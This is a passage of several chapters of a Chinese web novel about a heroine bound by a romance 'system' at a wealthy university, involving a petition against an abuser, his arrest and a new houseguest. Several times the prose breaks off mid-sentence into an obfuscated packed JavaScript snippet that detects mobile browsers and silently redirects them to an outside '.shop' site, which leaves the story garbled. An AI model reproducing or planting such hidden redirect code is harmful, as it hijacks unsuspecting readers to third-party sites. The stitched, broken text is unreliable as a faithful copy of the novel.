“小心！”女生惊呼一声，想要稳住他下滑的身体，可男生已经踉跄着向前晃了一步，脚步虚浮，方向全无—— 下一刻，便结结实实地撞在了躲闪不及的姜夏琳的肩侧。 一股混合着浓郁酒气和冷调木香的气息扑面而来，肩膀被撞得生疼，姜夏琳蹙眉，脚下不稳地向后退了半步，才勉强站住。 “季少！你没事吧！”女生手忙脚乱地重新架稳男生，又赶忙替他整理凌乱的领口。 折腾了好一会儿，她才有空看向被撞的姜夏琳，语气尤为烦躁：“你还站在这干吗？” 姜夏琳揉了揉隐隐作痛的肩膀，目光快速扫过眼前这对衣衫不整、酒气熏天的男女，压下心头窜起的不耐，声线冷淡：“不打扰了。”随即毫不犹豫地绕过两人，头也不回地离开了这片狼藉。 回到姜家别墅时，夜色已深。 她没有惊动任何人，径直回到了自己的房间。 暖黄的台灯光晕洒在梳妆台上，姜夏琳坐在镜前，白皙干净的侧脸在灯光下显得格外柔和，长长的睫毛在眼下投出一小片阴影。 那枚银色的U盘静静地插在电脑接口上。 指尖在鼠标上悬停片刻，最终，她还是点开了里面的录音文件。 电流的沙沙声后，一个明显经过变声处理、带着金属质感的声音响起。 叙述的语调起初竭力维持着平稳，像在念一份事不关己的报告，讲述赵绍辉如何利用身份威逼利诱，如何言语胁迫，如何在人后露出狰狞面目…… 然而，短短几分钟后，这份强装的平静便土崩瓦解。 叙述者的声音开始无法控制地颤抖、停顿，最终被强行压抑的、支离破碎的呜咽和抽泣彻底淹没。 姜夏琳猛地按下了暂停键。 房间里死寂一片，只剩下她自己略显急促的呼吸声。指尖一片冰凉。 她闭上眼，那濒临崩溃的哭泣声却像是无形的藤蔓，始终紧紧缠绕着她的耳膜。 受害者的遭遇或许不同，但那种被权力碾压、孤立无援的绝望感……竟让她产生了一丝微妙的窒息。 无关同情，也无关大小姐的人设，这一刻，她只是无法再听下去。 更何况，一个得体到无可挑剔的豪门千金，面对这样一份占据绝对道德高地的正义请愿，怎么可能选择拒绝？ 她深吸一口气，睁开眼，目光落在桌面上那份摊开的联名请愿书上。 拿起笔，笔尖在纸面上略一停顿，随即不再犹豫，清晰地签下了“姜夏琳”三个字。 墨迹在纸面上缓缓干透，她想起什么，解锁手机，熟练地点开了那个心形图标。 未来之恋APP里，契合度值正稳稳地停在80%，没有因她刚刚的举动上涨，也……幸而没有下跌。 看来，她做出了正确的选择。 姜夏琳盯着那行数字看了几秒，直到屏住的呼吸悄然松开，才意识到自己的肩颈一直不自觉地绷紧着。 将请愿书仔细收进文件夹，妥善放入背包。做完这一切，一阵迟来的疲惫猛地攫住了她。 梳妆台上的时钟指向凌晨一点，窗外的夜色浓重如墨。 姜夏琳关掉台灯，这才任由自己沉入柔软的床铺，在纷乱的思绪中渐渐入睡。 接下来的几天风平浪静，姜夏琳按部就班地往返于教室与姜家别墅之间。那份签好的请愿书静静躺在背包里，没有合适的时机交给陆临川。 好在，学校的氛围悄然中发生了变化—— 开学典礼的余温还未消退，未来大学已然一头扎入了社团招新季的新浪潮。 校园主干道被装饰一新，两侧支起琳琅满目的摊位，学长学姐们身着各具特色的社团服装，使出浑身解数招揽新生。 前来上课的姜夏琳抱着一摞五颜六色的社团宣传单，费力地在人群中穿梭。 她匆匆低头翻阅，试图从里里面找出能提起自己兴趣的一张，手臂却忽然被人亲热地挽住。 “夏琳！好巧呀！”笑容灿烂的苏珏探出头来，“怎么样，有看到心仪的社团吗？” 姜夏琳有些不适应这突如其来的肢体接触，但脸上还是漾开得体的微笑。 “还没有呢。”她将问题轻巧抛回，“你呢？有目标了吗？”她本意并非来招新季凑热闹，而是想早点去教室预习接下来的课程，却意外被这招新的阵仗困得寸步难行。 “我啊！”苏珏仿佛就在等她这一问，声音都拔高了几分，“当然是学生会，那可是未来大学的心脏！夏琳你还没去学生会的摊位看过吧？陪我一起去看看好不好？听说今天陆学长在呢！”她眨着亮晶晶的眼睛，满是期待。 ……陆临川的迷妹，果然名不虚传。 姜夏琳顿了顿，想起背包里那份签好名的请愿书，最终还是点了点头，笑容温软:“好呀。” 两人一同前往中心广场，这里只有学生会一个摊位，人气却远高于方才走过的社团街。 艰难穿过里三层外三层的人群，姜夏琳才看清摊位后那些忙碌的工作人员。 苏珏不知何时已被人潮挤到一旁，正兴奋地趴在摊位前，和某位负责登记的学姐热切交谈。 姜夏琳学着她的样子，也在某个摊位前坐下。 对面的工作人员头也没抬：“同学想了解哪个部门？这边可以登记意向。” “……我想找陆会长。”姜夏琳压低了些声音。可四周实在是喧闹，她不确定对方是否听清了自己的话。 工作人员这才抬眼瞥了她一下：“学生证。” 姜夏琳不明所以，但还是乖乖从包里翻出学生证递了过去。 工作人员在电脑上快速操作几下，随后将学生证递还给她，公事公办地点点头：“好了，已经给同学登记了，后续短信通知面试时间，面试通过后就有机会见到会长了” 闻言，姜夏琳干巴巴地眨了下眼，心知自己这是被当成了又一个企图借故接近陆临川的狂热新生。 她张了张嘴，想要解释自己的真实来意，却发现周围等待咨询的同学都好奇地看着她，一时不知该如何在这种场合下开口。 工作人员看了眼她身后不知不觉排起的长队，面露无奈：“同学还有别的事吗？我们这儿一天想找陆会长的没有一百也有八十，总不能个个都去打扰他吧？都得按流程来。” “……抱歉，打扰了。”姜夏琳尴尬地起身离开摊位，脸颊微微发热。一抬眼，却撞见一张笑眯眯的，带着几分看热闹神情的脸—— 是林薇。 她不知在摊位旁站了多久，显然将刚才的一幕尽收眼底。 “……陆临川也真是的，定些死规矩，净会让漂亮学妹吃瘪。”她走到姜夏琳身边，语气熟稔，一副了然于心的样子，“是他让你来找他的？” “………”姜夏琳犹豫着，不确定是否该向林薇透露与陆临川之间的秘密会谈。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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显然，他方才正趴在桌上休息，被周围的书本摆设遮住，处于她的视线盲区。 “……学长，我以为房间里没人。”姜夏琳慌忙地移开视线，解释道。 陆临川眼中带着刚醒的茫然，下意识地揉了揉太阳穴，很快恢复了平日的清明。 他的目光扫过她，又落在她刚刚放在茶几上的文件夹，心下了然：“没事。东西拿给我吧。” “好。”姜夏琳转身，拿起文件夹朝他走去。 就在她靠近办公桌时，口袋里的手机突然毫无预兆地轻轻震动了一下。 不祥的预感掠过心头，她没有机会去看屏幕，系统的电子音却直接在脑中响起—— 【检测到剧情波动！契合度评价敏锐度提升，请宿主严格遵守人设！】 ……又来？ 好像只要她靠近校园里的角色，系统的管控就会格外严格。 “嗯，辛苦学妹特意送过来。”陆临川接过文件夹，并未打开查看，只是用修长的手指随意捏着，脸上挂起那种惯有的、准备送客的微笑。 真正的姜夏琳……此刻应该说什么？ 道别？还是为打扰了他休息再道歉一次？ 姜夏琳的脑子里一片空白，事发突然，系统地狱训练时传授的标准化应答程序一时被忘了个精光。 “我——啊！” 迟疑的时间太久，她甚至来不及懊悔，霎那间，那熟悉的、仿佛要劈开颅骨的剧痛便猛地炸开。 她身体失控地向前一倾，双手慌忙撑住桌面试图稳住自己，指尖瞬间用力到发白。 然而，预期中持续加剧的剧痛并未到来，而是在爆发的瞬间，如同潮水般骤然退去，消失得无影无踪。 视野在几秒内重新变得清晰，姜夏琳愕然地看清了眼前的状况—— 陆临川的手，正紧紧握着她的小臂。 他的指尖温热，透过薄薄的皮肤，甚至能感受到他平稳的脉搏。 肌肤相贴之处，传来一股奇异而微弱的电流感，酥麻中带着一丝令人战栗的暖意。 姜夏琳僵在原地，脑中呆滞了片刻，尔后，猛地闯入一个荒谬却又无比清晰的念头—— 系统的惩罚，被陆临川的触碰中断了。 5. 第 5 章 刹那间，这几天发生的一切在姜夏琳脑海中串连成线—— 开学典礼后台，系统初次发来警告，她不明所以，放任陆临川离开，从而触发了惩罚。 医务室里，警告再次出现，她依旧不知所措，是江竞那个疯子冲过来攥住她的手腕，通过触碰，阴差阳错阻断了惩罚。 而刚刚…… 她目光不由自主地落定在陆临川仍环握她小臂的那双手上。 指节分明，修长有力，掌心温热干燥，轻而易举圈住她纤细手腕，仍留有余地。 是陆临川的触碰，终止了这一次的惩罚。 这个念头浮上心头的瞬间，姜夏琳脊背窜上一股战栗之感。 她缓缓抬眸，迎上陆临川停驻的视线。 那双琥珀色的眼睛正一瞬不瞬地看着她，清晰映出她此刻有些茫然的模样。 “学长，”她开口，声线里压着一丝干涩，“可以先放开我吗？” 陆临川似乎才意识到自己正握着她的手，很快指尖松动，撤开了温度。 “你脸色不太好，”他平静地询问道，听不出太多关切，却也没显得疏离，“是低血糖吗？” 姜夏琳满脑子都是那个惊人的发现，心乱如麻，只能勉强点头：“可能是没吃早餐……现在好多了。” 她迫切需要一个人整理思绪，赶忙将摔落在桌面的文件夹往前推了推：“U盘和签好字的请愿书都在里面。如果没别的事，我就先走了。” 说罢，她不等陆临川反应，转身走向门口。 只是才刚走了几步，又一个念头猛然窜起—— 如果和引发剧情波动角色的接触能阻止惩罚，为什么……不现在就检验一下？ 她停下脚步。 无暇用理智衡量这个念头的是否妥帖，她深吸一口气，转身，重新折返到陆临川桌前。 他仍坐在那儿，指尖轻搭在桌面，见她去而复返，眉梢几不可察地抬了一下，却没开口，只是静静看着她。 姜夏琳顿了顿，一只手拿出手机解锁，径直点开未来之恋APP。 屏幕上清晰地显示着：【当前角色契合度：72%】。 然后，她朝他伸出另一只手。 陆临川目光落在她掌心，继而缓缓移到她脸上。 他唇角微弯，像是觉得有趣：“这是什么意思？” 姜夏琳迎上他的目光，唇角也勾起一抹笑，眼神明亮：“学长，能再借一下你的手吗？” 下一秒，不等他回应，她已主动覆上他搭在桌面的手。 肌肤相贴的刹那，陆临川指尖明显一顿，却没有立即抽离。 暖意顺着肌肤相接的区域蔓延，奇异地将姜夏琳紧绷的神经稍稍抚平。 她紧盯着手机屏幕，很快，屏幕上的数字跳动：【当前角色契合度：73%】。 接下来，像是被注入了魔法，数字开始攀升： 74-75-76-77—— 果然如此。 姜夏琳还没来得及为此小小的雀跃一把，手心便骤然一空。 抬眼，办公桌后的陆临川已然抽回了手。 他仍看着她，只是眼底那层温和的雾霭已经悄然散去，露出几分明显的疏冷。 “姜同学，”他声音依旧平稳，却透出几分不容错辨的凉意，“请你适可而止。” 尽管如此，屏幕上的数字依旧稳稳停在77%，纹丝不动。 系统隐藏的规则真是……简单，又粗暴。 猜想被验证，姜夏琳心满意足，这才后知后觉地察觉到陆临川明显的不悦。 心下爬上几分迟来的慌张，她迎上他的目光，习惯性地换上那个练习了无数次、弧度精准的微笑。 “……抱、抱歉，学长。” 她声音放得轻软，目光却微微飘向一旁。 方才她的行为实在是很难解释，可为了确认系统规则，她不介意让陆临川把自己当成脑残粉之一。 “因为我对你……实在有些好奇的地方，所以想确认一下。”她停顿了一下，声音压得更低，像一句含糊的呓语，“对不起，是我冒失了。” 说罢，姜夏琳迅速转身、关门，将那片陡然变得微妙的空气隔绝在身后。 直到步入学生会大楼外，被早秋微凉的空气包裹，她才真正地卸下了一口气。 早秋的阳光碎金般洒落周身，暖意融融，她却停下了脚步，怔怔站在原地。 一种混杂着雀跃、荒谬与隐隐不安的情绪，像咕嘟冒泡的碳酸饮料，在她心口细细密密地翻涌。 系统S001一直以来为她勾勒出的，是一个端庄、体面、恪守礼仪的“姜夏琳”，每一步都不容行差踏错。 可现在她却发现—— 做出与人设截然相悖的行为，不但能避免惩罚，还可以让契合度大幅上涨。 ……所以，“姜夏琳”根本不是什么优雅得体的大小姐，而是个癖好诡异，甚至非常俗气的人？ 这到底是个什么鬼游戏？ “——夏琳！” 一道熟悉的声音从不远处传来，打断了姜夏琳飘远的思绪。 苏珏不知从哪个角落钻了出来，三两步蹦到她身边，亲昵地挽住她的手臂。 “你怎么傻站在这儿？”她扭头望向气派的学生会大楼，眼里闪着憧憬的光，“这里可是只有学生会成员才能进的地方！刚刚报名的人超多的，也不知道我有没有机会……” “……他们肯定没你了解学生会。”按下心头纷乱的思绪，姜夏琳随口安慰了句，随即轻轻拉了她一把，“我们是不是得快点儿去教学楼了？待会儿的课要开始了。” “哎呀！都到这个点了！”苏珏低头看了眼腕表，顿时惊呼一声，“快快！微观经济学的教授最喜欢点名了，第一节课要是迟到可就完了！” 一路小跑，最终，两人气喘吁吁地踩着上课铃冲进阶梯教室，狼狈地在后排找了两个空位坐下。 缓了口气，姜夏琳从包里拿出书本，抬头看向讲台，余光却突然被斜前方一道身影攫住。 那是一个穿着简单白色连衣裙的女生。 她身姿纤细，裸露在外的手臂线条流畅，肌肤更是无比白皙，恍若自带一层柔光。 乌黑的长发如瀑布般垂在身后，随着她偶尔翻书的动作微微晃动，露出的小半个侧脸精致秀气，透着一股干净又和谐的美。 她只是安静地坐着，就像一块磁石，无形地吸引着周遭的视线，让人瞥过便忍不住想再看第二眼。 可奇怪的是，她周围的座位却空着一圈，仿佛有什么无形的结界环绕，把她和热闹的教室隔绝开来。 注意到姜夏琳的目光，苏珏不着痕迹地倾身凑近，压低声音道：“看到那个穿白裙子的女生了吗？她叫叶灵溪，开学典礼那天，就因为长相在论坛上小火过一阵。不过嘛……” 她语气微顿，带上一点微妙的意味，“她是个‘企划生’，所以，你懂的。” 企划生——在未来大学里，这是对经由董事会特殊人才企划入学的学生一种心照不宣的称呼。 未来大学由财力鼎盛的未来财团倾力打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992942|193807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 造，以其奢华的师资和校园环境享誉全球，而背后支撑这一切的，是普通人难以企及的天价学费。 但每年，都会有极少数成绩优异、但家境无法负担学费的学生，通过名为“特殊人才”的企划，获得全额资助入学。 只是在这所遍地世家子弟，极度讲究家世与圈层的学校里，“企划生”这个标签往往直接与贫穷划上等号，暗示着一种显而易见的不同。 他们不仅很难融入主流社交圈，更常常成为被排挤和忽视的对象。 就像此刻，叶灵溪四周那片无人靠近的空座。 授课逐渐进入难点部分，姜夏琳收回目光，心底却掠过一丝难以言喻的滞涩。 她并非毫无触动，却清楚地知道，自己对于这座象牙塔里根深蒂固的运转法则，根本无能为力。 课程在一片还算轻松的氛围中接近尾声。下课铃响起，姜夏琳收拾好东西，与苏珏在教学楼门口分开，独自沿着栽满梧桐的校道往门口走去。 没走多远，周围忽然传来一阵突兀的喧哗和骚动，其中还隐约夹杂着叫喊声。 姜夏琳循声望去，只见路边已经里三层外三层地围了不少看热闹的学生。 透过人群间的缝隙，她看到中间被团团围住的，竟是一个她绝不想再见到第二次的面孔—— 赵绍辉。 “我他妈说了不是我！你们这是诬陷！放开我！”他被穿着警察制服的人左右架着胳膊，却仍在疯狂扭动身体，试图摆脱钳制。 “请你配合执法！”为首的警察严厉警告。 “是谁派你们来的？！说！到底是谁胆子这么大？！”赵绍辉像是已经失去了理智，额角青筋爆起，就这样在人群中央面目狰狞地嘶吼，“我是赵家的人！我要等我的律师来！你们没资格抓我！！” 姜夏琳靠近围观的人群，心中暗惊。 她没想到陆临川的动作竟如此之快——离她提交申请书才一节课的功夫，警察就已经找来了。 为了把事情看得更清楚，她微微踮起脚尖，小心地从人群的缝隙中探出头。 “到底是谁？！让他滚出来见我！！”赵绍辉不断嘶吼着，因激动而充血的双眼如同濒死的野兽，凶狠地扫过周围每一张看热闹的脸。 突然，他目光一定—— 死死钉在了刚从人群缝隙间露出小半张脸的姜夏琳身上。 四目相对的瞬间，他眼底的疯狂骤然暴涨。 “是你——姜夏琳！是你这个贱人搞的鬼！一定是你！！！” 怒吼发出的瞬间，周围所有人的目光齐刷刷地聚焦到了姜夏琳身上，一时间，她无处遁形。 论坛上的热帖让几乎所有人都知道她和赵绍辉之间的纠葛，顷刻间，窃窃私语声如同冷水滴入滚油，噼里啪啦地炸开来： “真的假的？是姜夏琳举报的？” “看着温温柔柔的，下手这么狠？” “姜家是不怕赵家，但这等于直接撕破脸了吧……” “我要杀了你——！！”一切如同汽油浇灌在赵绍辉的怒火上，他发出一声骇人的咆哮，身体猛地爆发出一股蛮力，竟真在下一刻，硬生生挣脱了警察的钳制！ 随即，他像一头彻底失控的猛兽，径直朝着姜夏琳猛扑过来！ “啊——！” 人群顿时爆发出惊恐的尖叫，如潮水般四散逃开。 姜夏琳被这猝不及防的变故吓到，下意识转身想逃，却不知被什么猛地一绊。 她短促地惊叫一声，整个人失去平衡，重重地向前栽倒下去。 6. 第 6 章 急促的脚步从身后逼近，姜夏琳闭上双眼，身体蜷缩成一团。 只是，预期中的疼痛和冲击迟迟没有到来。 她听到衣物摩擦的激烈声响，紧接着是沉闷的撞击声和痛呼。 待响动稍稍平息，好一会儿过去，她才敢睁开眼，看向身后。 一道身影，正曲膝压着赵绍辉的脊背。 逆着光，那人的面容隐没在阴影之中，只能看出是个肩宽腿长的男生。 他以一个极其利落的擒拿姿势，将赵绍辉死死按在地上，双手如铁钳般反剪锁住对方的手腕。 赵绍辉在他的桎梏下仍不不甘地扭动着，好在警察们及时赶来，将他团团围住，用手铐彻底锁住了他不断挣扎的双手。 即便如此，他仍拼命扭过头，淬毒的目光钉在姜夏琳脸上：“……姜夏琳……你给我等着……” 那视线黏腻而狰狞，姜夏琳被看得浑身发毛，下意识想撑起身逃离。 可刚一动，脚踝处骤然传来一阵钻心的剧痛，疼得她脸色骤白。 她一下子跌坐在地，正咬紧牙关，试图忍着剧痛再次尝试起身时，一道身影忽然安静地蹲在她身前，严严实实地隔断了那道令人窒息的目光。 姜夏微微一怔，抬起头。 映入眼帘的，是一片干净而柔和的白—— 她怎么也没想到，此刻挡在她身前的，竟是方才课堂上仅有一面之缘的叶灵溪。 她逆光而立，披散在身后的黑发被微风吹起几缕，整个人沐浴在光晕中，像白日里凭空降临的天使。 “别怕，”叶灵溪用身体遮盖住后方的混乱，轻声说，“他不会再伤害到你了。” 姜夏琳嘴唇动了动，习惯性地想遵循大小姐的人设说些什么，却一时没能发出声音。 见状，叶灵溪朝她靠近了些，问道：“现在能站起来吗？” 姜夏琳一顿，先点了点头，再次试着自己起身。 瞬间，剧痛传来，她眉间一蹙，忍不住“嘶”地倒吸了口凉气。 “扭到了？”叶灵溪立刻察觉，不由分说地将她的手臂绕过自己纤细的肩膀，“别逞强。” 她说着，稍微一使劲，便稳稳地将姜夏琳从地上带了起来，“靠着我。” 交谈间，赵绍辉已被彻底押上警车，旁观的人群也接连散去，连那位见义勇为的少年都不知何时不见了踪影。 四周喧嚣淡去。 姜夏琳被叶灵溪搀扶着，一路沿着校道，往大门的方向走去。 每迈出一步，她都能感觉到脚踝传来的刺痛，伤势似乎有些严重。 沉默地走了一段，姜夏琳忍不住开口：“同学，你知道刚才那位是……” “你说按倒那人的男生？”叶灵溪朝警车早已消失的方向看了眼，“他是我朋友，应该是配合警方做笔录去了。放心吧，他家是开拳馆的，对付这种人绰绰有余。” “……拳馆？怪不得身手那么利落。”姜夏琳神情中露出几分惊讶，随即意识到自己几乎半个人的重量都压在对方的肩膀上，顿时不好意思起来，“那个，我这样会不会有点重啊？” 闻言，叶灵溪侧过头，在她纤细的身形上扫了一圈，扑哧笑出声来：“你？重？”她语调上扬，带着毫不掩饰的调侃，“风大点都能把你吹跑了好吗？” 接着，不等姜夏琳反应，她松开一只搀扶的手，在空中利落地比划了一个出拳动作：“放心好了，我可是他家拳馆的常客，刚刚要不是他抢先，那人就会被我按住了。” 一阵劲风随着她的动作掠过，将姜夏琳额前的碎发吹起几缕。 姜夏琳微微睁大双眼，目光落在叶灵溪露出的小臂上—— 整体线条流畅有力，匀称分步的肌肉在动作间微微绷紧，让人丝毫不会怀疑她方才话语的真实性。 看着身形纤瘦、气质柔和的叶灵溪，竟然是个武力少女…… 这反差着实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992943|193807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 令人意外。 “就安心靠着吧。”叶灵溪收回手，重新稳稳揽住她，继续向前走去。 两人并肩走到校门附近时，她忽然放缓脚步，目光越过镂空的铁艺大门，轻轻“咦”了一声：：“那辆黑色的车是不是你家的？车旁边的人好像在盯着我们这边看。” 顺着她示意的方向望去，姜夏琳一眼就看见了那辆熟悉的轿车，以及车旁正焦灼望向自己的钟管家。 “……嗯，是我家的车。”她无意识地捏了捏额角，想到待会儿要费多少口舌解释眼前这一切，就不禁一阵头痛，“送我到这儿就行，麻烦你了。” “举手之劳。”叶灵溪说着，还是尽职地扶着她走出校门，确认她站稳后才松开手，不放心地多问了一句，“自己能上车吗？” 姜夏琳点点头，感激地看向她：“没问题，今天真的……多亏有你在。”她顿了顿，又补充道：“对了，我叫姜夏琳。” 虽然在课上已经知道了对方的名字，可她还是觉得有必要正式认识一次。 “叶灵溪。”叶灵溪冲她露出一个明亮的微笑，随后挥挥手，“那我先走啦，记得好好照顾脚伤。” 话音未落，她已转身，背影很快汇入离开学校的人流中。 姜夏琳望着她消失的方向，不自觉地出神了一瞬，却立刻被急步上前的钟管家打断了思绪：“小姐！你的脚是怎么了？” 赵绍辉的事尚未对外公开，姜夏琳抿了抿唇，一时也不知该从何解释这错综复杂的经过。 她借力单脚跳至车门边，有些狼狈地侧身钻入后座，含糊应道：“不小心绊了一下，没什么大事，回去敷点药就好了。” 说罢，姜夏琳关上车门，随手将书包朝身旁的空位一甩，却触到异样的硬物—— 她猛地缩回手，侧眸对上一张陌生的男性面孔。 “啊——”一声细小的惊叫几乎脱口而出，却在对方沉静的注视下硬生生卡在了喉间。 7. 第 7 章 钟管家坐进副驾，从后视镜瞥见她惊愕的神情，赶忙解释道：“小姐，这位是季先生。老爷夫人与季先生的父母是多年至交，您小时候还常去季家玩呢。这次季先生临时回国处理事务，住处没有安排，老爷夫人便邀请他来家中暂住几天。” 姜夏琳感觉额角突突直跳，勉强维持镇定问道：“……这件事，为什么不提前告诉我？” “老爷夫人说已经给您发过消息确认了呀？”钟管家语气略显诧异。 闻言，姜夏琳立马解锁手机翻找，半晌，才终于在一堆账单、验证码和促销广告中挖出一条被淹没的短信—— “夏琳，下周有个老朋友想来家里借住一段时间，你见到他一定会很惊喜的！” 见她迟迟未回复，几小时后对方又自顾自地发来一条： “不回复就当你同意啦，答应爸爸妈妈，你们要好好相处哦，爸爸妈妈永远爱你~” 姜夏琳闭眼，深深吸了一口气，无奈到极点—— 早早在国外定居的姜父姜母显然不知道，国内早已没人用短信沟通了。 谈话间，司机已经开动车辆，平稳地驶入主干道。 事已至此，总不能将人中途赶下车。 姜夏琳抬眸望向身侧的男生，却径直对上了对方的双眸—— 似乎从她上车起，他就一直这样安静地注视着她。 “你好，”见她望来，他唇角牵起一抹温和的弧度，声音清澈悦耳，“我是季时安，这段时间要打扰了。” 姜夏琳不动声色地多看了他两秒。 午后阳光透过车窗，在他轮廓分明的侧脸上投下柔和光晕。 高挺的鼻梁，白皙的肤色，一双深邃的眼眸情绪很淡，却莫名令人难以移开视线。 是时下追捧的精致长相，气质却比同龄人显得沉稳许多。 然而，一种模糊的熟悉感却在此刻悄然漫上心头。 记忆飞速倒带，某个喧嚣夜晚的短暂一瞥骤然与眼前这张脸重合——姜夏琳心头猛地一跳。 他不正是几天前那场宴会上，她在那个隐蔽的休息室撞见的、与一位女伴姿态亲密的“季少”吗？？ 只是此刻的他，仪容整洁，眉眼温顺，与那晚凌乱的模样判若两人。 姜夏琳呼吸几不可察地顿了一瞬，维持人设的习惯让她迅速收敛异样，颔首道：“你好，我是姜夏琳。欢迎你来家里住。” “在国外的时候，常听家里人提起你，”季时安略微偏头，语气里带着恰到好处的惋惜，“都说我们小时候很合得来。不过可惜，太久远了，现在都不太记得以前的事了。” 他望着姜夏琳，神色坦然，没有任何异样。 显然，他完全不记得宴会那晚的偶遇了。 姜夏琳心中松了口气，一丝庆幸之感掠过。她配合地微微蹙眉，露 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他略微偏头，目光落在她微微绷紧的侧脸上：“评论都在说，是因为你举报了赵绍辉，警方才会找上门来。” “……我跟赵绍辉不熟，没必要做这样的事。”与陆临川的合作是秘密，姜夏琳矢口否认。 “可大家都说，”季时安挑眉，拖长的尾音里带着一丝不易察觉的探究，“你和他开学的时候就结下梁子了……据说，他在开学典礼的后台把你吓晕了。” 他侧过头来看她，阳光洒在他纤长的睫毛上，镀上一层浅金：“当时究竟发生了什么，能让姜小姐受到那么大的惊吓？” ……一个才初次见面的人，竟已对她的事了解了这么多。 姜夏琳深吸一口气，脑子里飞速思考着如何应对这突如其来的试探，一个疑点却突然浮上心头：“未来大学的论坛要校内身份认证才能访问，你怎么会看到？” 没料到她会这样问，季时安眨了下眼，随即，唇角勾起一抹无辜的笑。 “看来叔叔阿姨又忘了告诉你。”他语气温和，带着几分了然，“我这次回来会多呆一段时间，家里为了方便，把我的学籍暂时转到了未来大学。” 他微微颔首，清晰地吐出后半句：“所以姜小姐，以后我们也是同学了。” “原来是这样。”姜夏琳尴尬一笑，心想，难怪会在新生宴会上遇到他。 她思忖了下，然后轻描淡写地顺着他的话接了下去：“论坛上的消息真真假假，经常传着传着就变样了。季同学刚来，可能还不熟悉这里的氛围。” 她无论如何也不能透露出举报书的秘密。毕竟，这会牵扯到那些曾经被赵绍辉伤害的女孩。 “我……和赵绍辉被抓走没什么关系，”她顿了顿，转开话题，“不过脚踝的伤确实是在看热闹的时候不小心扭到的，这点小事就不用告诉钟姨了，免得她小题大做。” 季时安闻言，侧目瞥了她一眼，目光在她始终维持着笑意的侧脸停留片刻，像在审视一件博物馆橱窗里的瓷制品，然后才缓缓撇开。 “……原来如此，”他点了点头，从善如流地接受了这个说法，“我还以为姜小姐真是论坛里说的那样，因为开学典礼上发生的小事，就要把赵绍辉赶出学校呢。” 他勾了勾唇，补上恰到好处的客套：“那么，祝你早日康复。” 话音落下，两人也恰好走到大门前。 “二位看起来，还和小时候一样要好呢。”钟管家看着两人相携走来，脸上不禁露出了宽慰的笑容。 听到这话，姜夏琳和季时安都没有接话。 一种微妙的沉默在两人之间弥漫，他们并肩穿过玄关处铺着大理石的长长过道，然后在楼梯口分开。 姜夏琳由钟管家扶着，慢慢挪向二楼的房间，眼角的余光却留意着季时安的动向—— 他被安排在一楼的客房，和她的房间相隔甚远。 尽管如此，回到房间后，她还是反手，轻轻扣上了门锁。 家里突然住进一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992945|193807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个让她感觉有些微妙的人，她心底稍微松弛的弦，又绷紧了。 以后，还是离他远些为妙。 下午的时光在独处中显得格外悠长。 姜夏琳先是在书桌前学习了一会儿，又起身将本就整洁无比的房间重新收拾了一番，最后蜷进落地窗旁那张宽大的沙发里，任暖融融的阳光包裹着，不知不觉便睡了过去。 再醒来时，窗外的天色已完全暗沉下来，庭院里的景观灯次第亮起，在玻璃上投下模糊的光晕。 她望着这间奢华却空旷的卧室，一丝细微的陌生感悄然漫上心头—— 毕竟，以“姜夏琳”的身份住进这里，也不过是短短数月。 洗完澡，换上丝质睡衣躺进被褥，她随手放在床头柜上的手机屏幕在昏暗中亮起，弹出两条未读消息。 一条来自未来大学学生会秘书处，措辞官方而简洁，请她确认是否参加次日安排的面试。 指尖悬在屏幕上方，姜夏琳微微怔住。 彼时去学生会的招新摊位，只是想找个由头见陆临川，却阴差阳错地给自己报了名。 她对学生会这类等级森严、束缚繁多的组织向来缺乏好感。只是…… 脑海中浮现出陆临川清冽的眉眼，以及因他而剧烈波动的契合度数值—— 他似乎是剧情中的关键角色，接近他，或许是她好好利用系统那诡异隐藏规则的捷径。 短暂的思考后，她指尖落下，在“确认参加”的选项上点了“是”。 随即，她点开第二条信息。 是一个纯黑色头像的陌生账号发来的好友申请。 验证消息栏里，只有极其简短的两个字： 江竞。 9. 第 9 章 